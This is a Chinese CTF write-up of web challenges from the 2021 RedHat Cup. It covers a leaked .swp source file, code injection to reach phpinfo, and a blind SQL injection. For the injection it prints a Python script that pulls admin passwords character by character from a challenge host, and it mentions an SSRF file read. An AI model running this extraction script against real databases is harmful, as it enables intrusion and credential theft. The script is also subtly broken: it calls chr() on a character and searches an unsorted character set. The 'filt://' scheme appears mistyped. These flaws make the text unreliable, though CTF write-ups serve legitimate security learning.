web

红帽杯2021 部分wp

noob
2021-05-10 / 0 评论 / 261 阅读 / 正在检测是否收录...

签到
根据附件文件名是EBCDIC知道编码,然后直接转码拿flag。
find_it
拿到题目,没啥思路,看到robots里提示去1ndexx.php,访问没东西,查备份查到/.1ndexx.php.swp有源码,
1.png

查看源码,可以传入code的值写入hack.php中,并且对长度和一些字符进行了过滤,然后尝试访问phpinfo(),这里一直很懵,一开始是以为是从1ndexx.php中传入code参数,不断尝试发现不是,最后在主页里尝试成功了,就离谱,然后直接查看phpinfo(),因为这里是直接把flag写进全局变量了,所以直接搜flag就拿到flag了。
WebsiteManger
看目录的时候发现user.php放行至index.php的时候有image.php并且有参数id,因此猜测id为注入点,测试发现过滤字符较多直接抓包测试就行,177是被过滤的,然后进行测试

?id=if(1=1,1,0)
?id=if(1=2,1,0)

正确的时候出现图片,错误的时候不出现,于是写脚本获取信息,库:ctf,表:images,users,列:username,password,字段:admin,2e0b406a0c24f74a999a8,获取密码的脚本

import requests


allstring = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&\'()*+,-./:;<=>?@[\]^_`{|}~'
s = requests.session()
url = 'http://eci-2zecrfutex8wyzi4y8mg.cloudeci1.ichunqiu.com/image.php'
table = ''

for i in range(1, 45):
    print(i)
    for j in allstring:

        payload = "if(ascii(substr((select/**/group_concat(password)/**/from/**/ctf.users),{},1))%3E{},0,1)" .format(i, ord(j))
        ra = s.get(url=url + '?id=1 or ' + payload).text
        if 'JFJF' in ra:
            table += chr(j)
            print(table)
            break

然后登陆,当时倒着就做不出来了,到最后也没出,不过当时没想过用filt:// /flag读取flag,看到大佬的flag知道,这里的curl.php存在ssrf,然后尝试使用filt读取文件,当时的姿势不对,想复杂了
依旧是做出的贡献不大,下次继续加油...

2

评论 (0)

取消